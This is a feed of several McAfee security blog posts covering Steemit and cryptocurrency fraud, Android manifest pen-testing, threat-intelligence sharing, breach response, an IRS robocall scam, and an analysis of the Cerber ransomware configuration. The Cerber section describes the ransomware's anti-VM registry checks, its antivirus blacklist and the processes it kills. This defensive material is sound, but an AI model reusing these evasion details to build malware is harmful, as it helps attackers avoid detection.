Like Ethereum, a blockchain app platform, Steemit is more than just a monetary device. Steem, the cryptocurrency, is intertwined with the decentralized social media networking site Steemit.com. This social portal allows people to create posts, interact with others, and curate content by voting for their favorites. These elements are very similar to other social media sites. The difference, however, is that the platform grants cryptocurrency as a reward to authors and curators. The process of voting for popular content contributes to the value of the posts, which is paid to participants. In short, a blogger can earn cryptocurrency by authoring content that is voted up by other members of the community. This currency can then be sold on digital markets and transferred into US dollars or other forms of money. Users have a social profile that is tied to the open blockchain, as is all the content. So everything is public and transparent, embedded in the chain, including account balances and activities of the users.

Although this innovative platform pays users to participate, the front-end social media web portal opens new avenues for cybercriminals that are not present in most other cryptocurrencies. Being able to conduct research on who has considerable wealth and what topics they are interested in, write about, vote for, or comment on is a big advantage for social engineering criminals.

Steemit and others like it use a public blockchain, digital wallets, and miners. So the normal technical-based cryptoattacks will occur as we have seen with other cryptocurrencies. Mining attacks seek more than one’s fair share. Attempts to counterfeit transactions or create fraudulent ones in the system are popular. Researchers will scour the open-source code for vulnerabilities they can exploit. Malware will attempt to infect systems so the software can steal private keys and logins, or conduct man-in-the-middle attacks. These are typical  attempts to circumvent security controls and victimize users. In fact, the site has already experienced a hack, but contained the impact to less than $85,000, affecting only 260 users. The losses were reimbursed.

The difference with these cryptocurrency-based social platforms is they expose community interaction elements to social engineers, who can take advantage of the abundance of open-source information to attack users. Most other cryptocurrencies shield their users and owners with anonymity.

Anyone can join, so it is easy to stalk or befriend a target. Attackers can track what their prey like or dislike, as well as establish patterns when they are active, figure out whom they know and trust, and watch transactions on their accounts. These are all very valuable tools supporting social engineering attacks.

cryptocurrency-hacker3

 

Welcome fraudsters

Behavioral attacks work against the weakest element of a computer network, the users. Successful attacks can give complete control of systems, access to accounts, lock out legitimate users, destroy reputations, and steal intellectual property and financial assets.

Fraud is a common practice in cyberspace; it provides a quick financial benefit to attackers. For Steemit, because it is a full-fledged social platform, I predict an abnormally high level of fraud, scams, phishing, and other manner of social engineering attempts, compared with other cryptocurrencies without deep social interactions. Now attackers can communicate through posting and commenting. Secondary avenues such as chat and person-to-person messages, which are currently delivered with third-party tools, will likely be instituted before the official release. This step will grant an aggressor many avenues to attack potential victims.

There will be scams, posts that lure people to purchase, donate, or click so an attacker benefits. Ponzi swindles, lottery rip-offs, and get-rich-quick schemes will flourish if these threats are not proactively addressed. I have already seen a few attempts.

Phishing is likely to include bad links within posts, directing users to sites with malware or to legitimate sites on which ads have been compromised to push malware to visitors. Either way, if attackers can successfully install their malicious software, the victims lose.

Common phishing techniques include soliciting passwords or private keys from users. An email, instant pop-up message, text, or redirection to an authentic looking webpage could be designed to obtain a user’s credentials, keys, or passwords. There are already reports of users receiving emails that look like legitimate requests from administrators. Others report emails that direct the user to a webpage with a name similar to the site’s but just one character off in the address.

The platform is in open beta testing, with the Version 1.0 coming. Releasing software to the public before it is completed and tested is a common practice for new cryptocurrencies, but there are many risks with this approach. This move can expose users to new vulnerabilities; exploits are expected. The development team must split its time between bug fixes and new functions.

Until Steemit is released with a complete set of integrated features, there exists an opportunity for crafty criminals to create tools that require users to input their private keys. A tool author in good standing could wait for many people to use a tool before turning on them and liquidating the assets of overly trusting victims.

 

Cryptocurrency-based social media sites a big target

cryptocurrency-steemitSteem will face all the typical problems that other digital currencies must deal with. It must also cope with the pressure of being a work-in-progress social media site and the likely behavioral attacks that will leverage the communication aspects of this platform. Synereo is another platform that will soon emerge and will receive the same attention from fraudsters. The success of this model will fuel more to follow.

 

Positive characteristics might make a difference

Although I believe cybercriminals will relentlessly target Steemit’s social platform, the platform has several positive security aspects.

I have been a beta participant for about a month. Multiple aspects set Steemit apart from other cryptocurrency operations. The developers have an excellent depth of knowledge in cryptocurrency. Some of what I have seen should be considered best practices for other platforms to adopt.

  1. Three passwords instead of one. Passwords offer separation of controls. Instead of just one password, the architecture has three: an owner key, active key, and posting key. Each can be used in different ways and potentially be leveraged to limit exposure of one all-powerful private key.
  2. Developers are on the ball. The platform benefits from a very active developer community to identify issues, engineer fixes, and quickly resolve problems. The recent account breach was contained in a day.
  3. The governance architecture. The code employs a delegated proof-of-stake (DPOS) consensus algorithm. In a DPOS system, the community votes for individuals, called witnesses, to be responsible for verifying transactions. Unlike with typical decentralized autonomous organizations, with DPOS only a small number of representatives control the blockchain, which makes decisions much faster. Witnesses are voted into paying roles as custodians of the system. If necessary, witnesses can control blockchain forks, changes to the core structure to correct serious issues. A small number of accountable people are the active caretakers of the platform and respond in a timely manner.
  4. The currency has three layers of abstraction. Steem is a classic cryptocurrency; Steem Dollars is a long-term investment option; and Steem Power dictates the value of the user’s votes. This may seem confusing, but it creates some complexities for criminals. Each layer has its own properties, uses, and limitations. Steem is completely liquid and can be sold for Bitcoin and then converted to dollars, while Steem Power takes two years to reach a liquid form that can be converted to dollars. The confusion aside, the separation creates compartmentalization that attackers must contend with and in some cases institutes time delays before money is completely transferred. Each barrier is another opportunity to detect an attack and intervene.
  5. Two factors for account recovery. The platform can use two-factor authentication to recover accounts. Using passwords and a verification via email address, the system can restore hijacked accounts quickly and with a good degree of confidence.
  6. Escrow times for major account changes. The developers are working on a dispute system for owner-key changes. They have proposed a structure in which users would identify trusted individuals to take part in multisignature oversight and recovery systems. Essentially, if your account is taken over, your trusted individuals challenge the takeover to restore the rightful owner.
  7. Thought leadership. This team of developers takes a proactive approach to anticipate challenges. They have experience with other cryptocurrencies and are very active in avoiding the pitfalls experienced by other systems. I have been impressed with their willingness to openly discuss future challenges, propose a number of options, and listen to the feedback of the community.
  8. Self-regulating users. They are diverse, opinionated, and do not put up with people abusing the system. Users readily call out scams and do a fairly good job at self-regulating. This frees developers to focus on architectural challenges, feature enhancements, and bug fixes.

 

User recommendations

Here are my recommendations to be safe and protect your assets.

  1. Be aware you may be targeted via the social media platform. Social engineering can take many forms. Trust no one with your passcodes or keys.
  2. Expect email, text, and even phone phishing asking you to install something, provide your passcodes or keys, or even to simply pay a “fine.” Believe nothing you receive in email or text. And never click on a link you receive in an email or text. If you are instructed to log in to your account, open a browser and navigate manually. Don’t click that link!
  3. Ignore “transfer requests,” Ponzi scams, lottery posts, “you’ve won a prize” scams, and anyone who wants to give you a fortune but first you must send them a processing fee. These are all ways for an attacker to benefit.
  4. Ransomware is a big and growing problem that can use social aspects to infect. Get acquainted with the risks of ransomware and what to do before and after an infection. Read “7 Methods to Fight Back Against Ransomware” and “Ransomware Help is Here.”
  5. Watch for malicious links in posts. I don’t believe the site checks for malicious links embedded in posts created by other users. This could be a big problem. Malicious sites can push malware and legitimate sites can be hijacked as can ads appearing on them. If you are unsure, use Google to see if the site is safe.
  6. Beware of fake endorsements, friends, and trust scams. Professional social engineers will learn about you and find emotional attachments to gain your trust. They can be a long-lost college friend, an attractive young girl, an abused little boy, a starving farmer in a far away land, a stranded traveler in a hostile country, the coolest DJ you ever met, an almost famous movie star. Social sites are not a place to assign trust. So don’t. The moment attackers gain your trust, they will ask for something and relentlessly manipulate you until they get it.
  7. Be careful which software you install and use. There are great supplemental tools, created by innovative users, but be wary and never use one that requires your password, login, or account keys or that asks you to disable your antimalware software.
  8. Keep your operating system and applications patched and updated. This closes known vulnerabilities, which are what most attackers target. Zero days are not as big of a problem for consumers as the media would have you think.
  9. Install client based antimalware software from a reputable company that continually updates it. This is a basic protection.
  10. Watch your accounts and immediately report suspicious activities.
  11. Maintain a strong password. By default, cryptocurrency systems can create good ones. Don’t change it to something simple. They are easy to attack via brute force. Always keep it strong. Change it immediately if you suspect a problem. Store it in a secure location, preferably encrypted, such as in a password vault.
  12. Don’t log in via insecure networks (coffee shops, free Wi-Fi hotspots, airports, hotels, etc.). Such networks are targets themselves for hackers. This enables them to conduct man-in-the-middle attacks to steal credentials or falsify transactions.

 

Cryptocurrencies with significant market value are a target for cybercriminals. As new uses are developed that include user interaction, platforms such as Ethereum, Steemit, and Synereo will become attractive targets for fraudsters, phishing, and social engineering attacks. To remain safe and trustworthy, the platforms must be designed with great features to enhance security. Users must be wary and follow good protective practices.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Cryptocurrencies a Target for Cybercriminals, Part 2: Social Platforms Come Next appeared first on McAfee Blogs.

]]>
Cryptocurrencies a Target for Cybercriminals, Part 1: the Risks of Innovation https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cryptocurrencies-a-target-for-cybercriminals-part-1-the-risks-of-innovation/ Wed, 14 Sep 2016 23:45:20 +0000 https://blogs.mcafee.com/?p=52513 All cryptocurrencies are a target for cybercriminals. Anywhere there is value, criminals, fraudsters, and charlatans will soon follow. Call it the Willie Sutton principle. Sutton, a famous bank robber in the 1920s–30s, was asked why he robbed banks. His reply was “Because that’s where the money is.” The simplicity rings true. That same age-old principle […]

The post Cryptocurrencies a Target for Cybercriminals, Part 1: the Risks of Innovation appeared first on McAfee Blogs.

]]>
cryptocurrency-hacker

All cryptocurrencies are a target for cybercriminals. Anywhere there is value, criminals, fraudsters, and charlatans will soon follow. Call it the Willie Sutton principle. Sutton, a famous bank robber in the 1920s–30s, was asked why he robbed banks. His reply was “Because that’s where the money is.” The simplicity rings true. That same age-old principle still applies today in the digital world.

Cryptocurrencies have been targeted since the early days of Bitcoin. Popularity fuels growth and increased valuation. Since the introduction of Bitcoin, hundreds of cryptocurrencies have emerged. According to coinmarketcap.com, the total market cap of cryptocurrencies exceeds $11 billion, with Bitcoin holding a majority stake of about $9 billion dollars. This amount of money is a strong lure for all kinds of malicious activity.

Attacks on cryptocurrency

Although cryptocurrency architecture is designed to be secure, it is not infallible. Once stolen, digital funds can be electronically laundered, obscured from authorities, and disappear into the electronic ecosystem with their new owners.

There have been many hacks and frauds during the past few years targeting cryptocurrencies, causing significant losses. Mt. Gox lost a staggering $350 million in 2014, Bitcoinica lost $28 million in 2012, and in 2016 a string of incidents has already occurred, starting with Cryptsy losing $10 million, the DAO $50 million, and Bitfinex $65 million.

Most of the big attacks have focused on the technical aspects of account control and the ability to transfer funds without the owner’s consent. Some of the attacks were perpetrated by external threats, while others were inside jobs by trusted personnel.

Many people unfamiliar with cryptocurrencies ask “Why don’t governments put a stop to this?” These systems are new, and even basic legal structures have not caught up. Separation from government oversight is largely viewed as a good thing by the community, but there are drawbacks. Cryptocurrencies suffer from a lack of regulation to establish consistent controls, legal responsibility, and accepted business practices. In the corporate world, laws and regulations establish clear boundaries to define legal responsibility, forbid situations in which conflicts of interest may arise, and establish accountability to support informed decisions by investors. Most of the cryptocurrency enterprises operate only on a level of trust in the proprietors or the code. Sadly, technology is fallible to exploitation, users can be rash, gullible, and manipulated by attackers, and many times owners of the systems are the very culprits behind the losses. The right balance has yet to be struck. Until then, criminals have the opportunity to run rampant, with much less risk compared with highly regulated monetary services.

cryptocurrency-hacker2

Threats targeting cryptocurrencies

Most cryptocurrencies are used for decentralized asset exchange. That is just a fancy way of saying they act as a form of money. One that is purely digital, can easily cross borders, be concealed, and transferred seamlessly between parties. Bitcoin and many like it are largely anonymous. The transactions are public, contained in the open blockchain ledger, but in most cases the sender and receiver cannot be easily identified.

Attacks tend to target the control of assets via transactions. The security of these systems is based upon private keys, which are an identity verification system. If an attacker compromises a victim’s private key, he or she can control the funds of the account without recourse from the victim. Many attacks gain access to accounts or tamper with transactions to siphon off assets from the victim’s to the attacker’s accounts.

Cryptocurrencies are also widely used in criminal activities. Ransomware extortions are largely paid in Bitcoin, as the attackers demand. Due to the nature of these transactions, once money is transferred, it cannot be recovered. The tracking of money to people is near impossible due to the anonymity of these systems.

cryptocurrency-ethereumCryptocurrencies and blockchains are used for more than just money. Technologists and entrepreneurs are creating innovative foundational structures for use in digital services. The decentralized nature can make the capability extremely robust. The open transparency of the transactions builds trust in the system and, coupled with a monetary element, such services can play a powerful role in business, communication, and nontransmutable record keeping. These are powerful tools, but they also present new opportunities for theft, fraud, and misuse.

Ethereum is a currency and public blockchain that features “smart contract” technology which runs programs across the widely distributed user base without central control. Basically, code is created and then run by the users, with no administrative oversight. People trust the code. All operations and transactions are transparent. As long as actions do not violate the code, they are allowed and thus correct. But there have been problems. After all, the people come up with the rules that the code enforces.

Recently the DAO—an Ethereum Decentralized Autonomous Organization investment fund that allows contributors to vote on which companies to back—got into trouble. Money was transferred from many accounts into an “attacker’s” account. But this was done based upon the functions allowed by the code. Many screamed theft, but others simply stated the rules were followed and thus the transfers must stand. It remains a mess, but $50 million was siphoned from users, against their desires.

Stay tuned for Part 2, a discussion of the risks of cryptocurrencies merging with social media platforms and how attackers could gain new advantages.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Cryptocurrencies a Target for Cybercriminals, Part 1: the Risks of Innovation appeared first on McAfee Blogs.

]]>
How to: Testing Android Application Security, Part 3 https://securingtomorrow.mcafee.com/business/testing-android-application-security-part-3/ Thu, 08 Sep 2016 15:06:44 +0000 https://blogs.mcafee.com/?p=52482 This blog was written by Kunal Garg. One of the best ways to develop secure Android applications is to engage in penetration (pen) testing, in effect trying to break into your application just as an attacker might do. This is the third in a series of posts on pen testing Android applications. In the first […]

The post How to: Testing Android Application Security, Part 3 appeared first on McAfee Blogs.

]]>
This blog was written by Kunal Garg.

One of the best ways to develop secure Android applications is to engage in penetration (pen) testing, in effect trying to break into your application just as an attacker might do. This is the third in a series of posts on pen testing Android applications. In the first we set up the testing environment and captured traffic. In the second, we discussed some tools and proxy techniques—Drozer, Apktool, and a “man in the middle” proxy—that come in handy during a security review of Android applications.In this chapter, we’ll look at reviewing Android’s manifest file.

Every Android binary is packaged with the file Andoridmanifest.xml, which provides the system with necessary information such as permissions, intents, activities, services, broadcasts, etc. It also functions as a basic configuration file.

Access

You can obtain the manifest file by changing the Android binary extension from .apk to .zip. However, this change does not create a readable format. To convert manifest into readable format you can use Apktool to disassemble the Android binary. Once the binary is disassembled, the manifest file is readable. You can also use Manifest Explorer to view the manifest file.

Command:

Apktool d binarypath\binaryname

20160908-android-pen-1

Here we see the manifest file for the test application Sieve:

20160908-android-pen-2

You should review several elements in the manifest file.

  1. Package name: The package name is the unique name of the application, with the application data generally present in the folder /data/data/packagename in the Android directory. While reviewing Packagename it is useful to identify and examine the application directory for any sensitive data.
  2. Permissions: An application should not request unnecessary permissions. Only the permissions required by the application should be assigned. For example, if an application does not need access to GPS or the camera, then these permissions should not be requested.

android:protectionLevel defines the risks associated with permissions. If a permission is marked as dangerous, you should review this permission because it may grant control to the device or user data. Some permissions categorized as dangerous:

  • Calendar
  • Camera
  • Contacts
  • Location
  • Microphone
  • Phone
  • Sensors
  • SMS
  • Storage

For detailed information on permissions refer to this link.

  1. Exported components: This element provides the components of an application (provider, activity, service, or receiver) to be invoked by other application components.

If this value is set to true, other components can access this application’s components.

For example, if in a banking application a “view account statement activity” has exported a value set to true, a malicious application could invoke it. Thus this value should be set to false.

android:exported="false”

An example of the fourgoats application with the exported value set to true.

20160908-android-pen-3 

  1. Android flags (debuggable, backup): The manifest file contains information about Android flags.

Android backup: Allows the application to participate in backup. This is not desirable in cases where the application has sensitive data and user data is at risk due to the backup.

Android debuggable: This flag indicates whether the Android application can be debugged. Once the application moves from test to production, the debug flag should be set to false. If this flag is set to true, any entity with access to the device can execute code under the application’s permissions, and can also obtain sensitive data from the application.

During the security review these flags should be set to false:

android:debuggable="false"

android:allowBackup="false”
  1. API level

The attribute android:minSdkVersion defines the minimum API level required by the application to run on an emulator or device. If the device version is earlier than the minsdkversion, the application may not run on the device. No application should support obsolete versions. The latest API level is 24.

The post How to: Testing Android Application Security, Part 3 appeared first on McAfee Blogs.

]]>
Improve Protection Against Cyberattacks Through Shared Threat Intelligence https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/improve-protection-cyberattacks-shared-threat-intelligence/ Thu, 25 Aug 2016 23:28:20 +0000 https://blogs.mcafee.com/?p=52333 This blog post was written by Rick Simon. At the RSA Conference 2016 in San Francisco, Chris Young, GM and SVP of McAfee, said that one of the best ways to improve response time to attacks and overall awareness of attacks and adversaries is through the timely sharing of threat intelligence. He also talked about […]

The post Improve Protection Against Cyberattacks Through Shared Threat Intelligence appeared first on McAfee Blogs.

]]>
This blog post was written by Rick Simon.

At the RSA Conference 2016 in San Francisco, Chris Young, GM and SVP of McAfee, said that one of the best ways to improve response time to attacks and overall awareness of attacks and adversaries is through the timely sharing of threat intelligence. He also talked about McAfee’s responsibility as a leading security vendor to set an example for the industry by pushing the boundaries of threat intelligence sharing.

We believe that by sharing threat intelligence, we can shift the balance of power away from the adversaries and back to us, the defenders. By crowdsourcing threat data and leveraging collaborative analytics, we can “connect the dots” to form better pictures of the attacks and adversaries that surround our customers. Collectively, we can deliver better protection.

Leading by example, McAfee partnered with other leading cybersecurity solution providers in 2014 to form the Cyber Threat Alliance (CTA). CTA members share threat information, raising our situational awareness about advanced threats, including the motivations, tactics, and the actors behind them. Once shared, CTA members can automatically deploy prevention controls to stop the identified threats. Based on collaborative research, we also published a joint threat research report late last year around our collective analysis of the CryptoWall Version 3 campaign.

McAfee is also helping drive the development of voluntary standards for those who wish to establish threat intelligence sharing organizations. We lead several committees within the Information Sharing and Analysis Organization (ISAO) Standards Organization, established through a US Presidential order in 2015. The ISAO SO’s objective is to encourage threat information sharing within the private sector and between the private sector and government.

To gain a better understanding of threat intelligence sharing and McAfee’s leadership in driving its development, we recently created a web page that educates and shows how we use threat intelligence sharing to better protect our customers. You can visit the page here.

The post Improve Protection Against Cyberattacks Through Shared Threat Intelligence appeared first on McAfee Blogs.

]]>
How Good Is Your Response to Data Breaches? https://securingtomorrow.mcafee.com/business/data-security/how-good-is-your-response-to-data-breaches/ https://securingtomorrow.mcafee.com/business/data-security/how-good-is-your-response-to-data-breaches/#respond Wed, 24 Aug 2016 22:34:01 +0000 https://blogs.mcafee.com/?p=51996 Data breaches are commonplace. Every organization that handles sensitive or private data should have a proper capability to respond to an incident. Many companies have a basic set of procedures, while others maintain a mature set of people and processes. A small percentage of organizations over the years have refined their capabilities to a professional level. […]

The post How Good Is Your Response to Data Breaches? appeared first on McAfee Blogs.

]]>
Data Breach Response-700

Data breaches are commonplace. Every organization that handles sensitive or private data should have a proper capability to respond to an incident. Many companies have a basic set of procedures, while others maintain a mature set of people and processes. A small percentage of organizations over the years have refined their capabilities to a professional level. Knowing where you stand and how you can improve is key to finding the right level of information-security preparedness.

Information is Beautiful - Data Breach

Source: information is beautiful.

Data breaches are an epidemic  

The health industry took a beating in 2015. A record amount of sensitive health care files were taken or went missing. According to the US Department of Health and Human Services Office of Civil Rights, about 35% of the US population had their health records exposed in 2015.

Government, financial, and technology organizations were also targeted. In total, more than 707 million records were lost or stolen in 2015, according to Gemalto’s Breach Level Index. In reality, no company is safe.

This frequency is why it is important to not only have strong preventative controls, but also a good set of processes and resources to respond to an incident. Proper crisis response can limit the damage and prevent recurrences.

 

Responses to a data breach

Basic controls are employed to handle the crisis and close the vulnerability of the leak. This is the very minimum. Many companies that lack forethought assemble this team after the first major data breach is detected. Yet this stage is chaos. Trying to deal with an unfamiliar situation while under the scrutiny of customers, regulators, and executives can be a nightmare. This level of capability is typically slow and focuses exclusively on aspects of the single breach.

Management is usually misguided into thinking this was a one-time event and will never happen again. The marching orders are to find this problem, resolve the issue, and return to business as normal. The weakness lies in not understanding the vulnerability is likely systemic. Plugging a hole in the dam with one finger does nothing if you ignore all the other cracks.

Mature capabilities are usually a sign of experience. These companies have had a data breach before and realized they needed to look for other weaknesses to be prepared for the next one. This approach is a realistic way of thinking, although not popular with executives. They would rather not have any incidents, and then realize the cost for such controls would be obscenely expensive. So they strike a balance. These organizations conduct risk assessments to find vulnerabilities in their data handling, may choose to pay for breach insurance, and will have internal accountability clearly established.

Professional-level data-breach capabilities are found in organizations that understand the value of their data, regulatory compliance, and the trust of their customers and partners. The best external consultant teams also possess these skills. They can swoop in and address all aspects, but for a price. Professional-class organizations carefully protect the information under their control but also put serious measures into detecting breaches and responding very quickly. They plan and regularly test their response capabilities, working to keep them current with business and infrastructure changes. Experts work with production teams to help establish compensating controls, so the business can continue to operate, even during an incident. Finally, they work to keep costs down and fine-tune the capabilities to maintain the optimal balance of corporate security, productivity, and costs.

 

The right level

There is no universal right level of preparedness. Every organization is different. Companies have varying risk appetites, various regulatory requirements, and oversee different types of data. In general, the more serious the consequences of a data breach, the more an organization should be looking toward mature or professional levels.

Data is valuable and breaches will continue to occur. No organization is immune. When preventive controls fail, rapid detection and competent response is required to minimize the immediate and long-term losses.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post How Good Is Your Response to Data Breaches? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/data-security/how-good-is-your-response-to-data-breaches/feed/ 0
Tax Fraud Robocalls Can Amuse, but Don’t Become a Phishing Victim https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/tax-fraud-robocalls-can-amuse-but-dont-become-a-phishing-victim/ https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/tax-fraud-robocalls-can-amuse-but-dont-become-a-phishing-victim/#respond Wed, 17 Aug 2016 00:13:36 +0000 https://blogs.mcafee.com/?p=51953 Yesterday at work, I received a call on my cell phone while in a meeting and did not answer. The number was not familiar, but the caller left a little present, a tax fraud phishing voicemail. These calls were very common as recently as six months ago and a huge annoyance to people in California and […]

The post Tax Fraud Robocalls Can Amuse, but Don’t Become a Phishing Victim appeared first on McAfee Blogs.

]]>
Phone Scams

Yesterday at work, I received a call on my cell phone while in a meeting and did not answer. The number was not familiar, but the caller left a little present, a tax fraud phishing voicemail.

These calls were very common as recently as six months ago and a huge annoyance to people in California and across the United States. That is, until the US Treasury Inspector General took down one of the largest groups behind these attacks earlier this year. The takedown had the desired dissuading effect across these groups, as much of the calls stopped, at least for a while. Unfortunately, it appears another criminal group has filled the void. Deterrence tends to last for only a short time when competing with the growing greed of thieves.

Ironically, earlier in the week I gave a presentation on phishing, talking about how fraudsters can use email, phone, and texts to commit fraud. The normal modus operandi for these panderers is to call unsuspecting victims, identify themselves as the Internal Revenue Service, demand money, and threaten legal action, including threats of going to jail. The folks can be convincing and persistent when they detect weakness. Unfortunately, some people pay these criminals, which feeds the cycle of greed and motivates them to move on to the next target.

Here is the transcript of the voicemail, which was delivered in a mechanical monotone, obviously delivered using automated text-to-speech software:

“…Internal Revenue Service, this is to let you know we have received a legal petition notice concerning cash fraud invasive against your name. So before this matter goes to the federal claim court kindly call us on the same number 360-591-7870 repeat 360-591-7870. You have a nice day.”

Just for fun I did some research: This number is ranked on the top list for fraudulent IRS tax callers for the week. I am a cybersecurity strategist; so this stuff is entertaining for me.

Surprise

Over the years, I have heard a lot of these scams, but one thing did surprise me on this call. At the end of the fraudulent message the automated voice clearly said “have a nice day.” That is a first!

I think from now on all fraudulent calls should end with “have a nice day.” Your intended victims appreciate a little politeness. If you are going to attempt to fleece innocent peoples of their hard-earned money, the least you can do is show a little civility.

Government impersonation scams a big problem

Phishing scams are up 400% this year. The IRS is aware of more than 5,000 victims who have collectively paid over US$26.5 million as a result of such frauds. If you ever get a call from an “IRS” representative, do not give any personal information. Take their name, badge number, and phone number and hang up. Call the IRS directly at 1-800-366-4484 to determine if the caller is an IRS employee with a legitimate need to contact you.

The IRS does not use automated calls to solicit money and does not demand immediate payment over the phone. If the IRS has a grievance with you, they will send you paperwork in the mail before trying to reach you by phone. For more information or to report being a victim, go to the IRS website.

What happens when law enforcement is phished?

If you want to hear something hilarious, this is a YouTube video of an IRS scammer who accidentally called an Orange County District Attorney investigator, who chats with him. Some great insights, but also some vulgar language.

Video Link: https://youtu.be/A6yAyIo_DNY

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post Tax Fraud Robocalls Can Amuse, but Don’t Become a Phishing Victim appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/consumer/consumer-threat-notices/tax-fraud-robocalls-can-amuse-but-dont-become-a-phishing-victim/feed/ 0
Cerber Ransomware Updates Configuration File https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cerber-ransomware-updates-configuration-file/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cerber-ransomware-updates-configuration-file/#comments Tue, 16 Aug 2016 00:47:32 +0000 https://blogs.mcafee.com/?p=52010 This blog post was written by Sudhanshu Dubey. McAfee Labs has recently analyzed Version 2 of Cerber, one of the leading ransomware programs. Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and also takes advantages of exploit kits like Angler, Nuclear, […]

The post Cerber Ransomware Updates Configuration File appeared first on McAfee Blogs.

]]>
This blog post was written by Sudhanshu Dubey.

McAfee Labs has recently analyzed Version 2 of Cerber, one of the leading ransomware programs. Cerber infects systems via social media tricks such as spam email with malicious links or documents, malvertising campaigns, exploits of vulnerable websites, and also takes advantages of exploit kits like Angler, Nuclear, and others.

During our analysis of the new version, we found some new fields in the configuration file. In this post, we highlight the changes in the configuration files of Cerber Versions 1 and 2.
This snapshot shows a machine infected with Cerber 2.

20160815 Cerber 1

Machine infected with Cerber Version 2.

The extensions of encrypted files has changed from .cerber to .cerber2.

20160815 Cerber 220160815 Cerber 3

Partial lists of files infected with Cerber 1 and 2.

Why an update?
The ransomware author may have upgraded the malware because of the release of a decryption tool. The ransomware’s detection rate may have also increased; this version has a new packer (wrapper) to make it harder for security products and analysts to find and examine the malware.

Our analysis did not find many significant changes. This version likes to keep its component files (containing the public key and other data) on disk after the encryption process, whereas the previous version kept the component files only in the registry entries. Files and registry entries have the same content.

20160815 Cerber 4

Version 2’s component files in %appdata% and registry entries.

The location of the encrypted configuration file is updated from the resource section to the last section. We will discuss this further in a future post.

The configuration file
We observed some changes in the configuration files of the two versions. Most are related to encryption tags and antimalware products.

The first change that caught our eye is the addition of rc4_key_size in the encrypt tag. This value was previously calculated at runtime but now is included in the file. The author also updated the infected-files extension to .cerber2 and also modified the value of the rsa_key_size field. The following snippets show some of the changes.

20160815 Cerber 520160815 Cerber 6

Version 1 (left) and Version 2 encryption tags.

Version 2 includes a blacklist to fight against the security products. The av_blacklist tag in the configuration file contains a list of several vendors’ names.

20160815 Cerber 7

Version 2’s av_blacklist tag.

The new av_blacklist tag is reflected in the check tag as a flag in the configuration file.

20160815 Cerber 8

Check tag in Version 1.

20160815 Cerber 9

Check tag in Version 2.

Close_process list enhancements
Some applications use a locking mechanism to prevent other application from accessing or making changes in the files they access to maintain data integrity. Word for Windows does this, for example. To stop a locking mechanism from preventing the encryption of files, Cerber terminates such processes. The list of these processes is kept under the close_process list tag. In this version, Cerber enhances this list significantly, as shown below:

20160815 Cerber 10

The close_process tag in Version 1.

20160815 Cerber 11

The close_process tag in Version 2.

Wallpaper template
Version 2 adds a wallpaper tag, which is a template to create the desktop background on the victim’s machine. The variable fields—including TOR, SITE_N, and PC_ID—is updated at runtime.

20160815 Cerber 12

The wallpaper tag in Version 2.

Anti-VM techniques
Cerber is one of the most comprehensive malware in fighting virtual machines. Cerber detects popular VMs such as Parallel, QEMU, VMware, and VBox. One of the most interesting techniques (in both versions) is Cerber’s enumeration of the registry key “HKLM\\SYSTEM\\CurrentControlSet\\Enum\\PCI”:

20160815 Cerber 13
Accessing the registry: HKLM\\SYSTEM\\CurrentControlSet\\Enum\\PCI.

Each subkey of HKLM\\SYSTEM\\CurrentControlSet\\Enum\\PCI represents a PCI-bus connected device with the following format:

  • VEN_XXXX&DEV_XXXX&SUBSYS_XXXXXXXXX&REV_XX
    where VEN stands for Vendor ID in hexadecimal view and DEV stands for Device ID in hexadecimal view.

A table of virtual machines with known hardware vendor IDs:

Vendor Vendor ID
VMware 0x15AD
VBox 0x80EE
Parallel 0x1AB8

The following code snippet compares the subkey name with the VBox vendor ID.

20160815 Cerber 14
Checking the VBox vendor ID.

If Cerber finds any of the vendor IDs among registry key names, it stops and terminates itself.

Summary
Cerber is a popular form of ransomware. Given the changes we have observed in the configuration file, we also expect to see change in Cerber’s encryption techniques. We’ll discuss those soon in a further analysis.

McAfee products detect Cerber under generic names such as Generic.* and BehavesLike.Win32.*.

The post Cerber Ransomware Updates Configuration File appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cerber-ransomware-updates-configuration-file/feed/ 4
Taking Steps to Fight Back Against Ransomware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taking-steps-to-fight-back-against-ransomware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/taking-steps-to-fight-back-against-ransomware/#respond Wed, 27 Jul 2016 23:54:00 +0000 https://blogs.mcafee.com/?p=51495 Ransomware is an attack in which malware encrypts files and extorts money from victims. It has become a favorite among cybercriminals because it is easy to develop, simple to execute, and does a very good job of compelling users to pay to regain access to their precious files or systems. Almost anyone and every business […]

The post Taking Steps to Fight Back Against Ransomware appeared first on McAfee Blogs.

]]>
Ransomware Protections5Ransomware is an attack in which malware encrypts files and extorts money from victims. It has become a favorite among cybercriminals because it is easy to develop, simple to execute, and does a very good job of compelling users to pay to regain access to their precious files or systems. Almost anyone and every business is a potential victim. More important, to the delight of extortionists, people are paying.

Ransomware exists in several forms. The weakest can lock an Internet browsing session with intimidating warnings of government surveillance and demands for immediate payment. These rely on fear tactics and deny the user the ability to easily navigate away from the warning page, thus appearing to have locked the system. This threat can often be solved by simply closing the browser and restarting. This method is how many of the original ransomware schemes began, but it did not result in much financial gain for criminals.

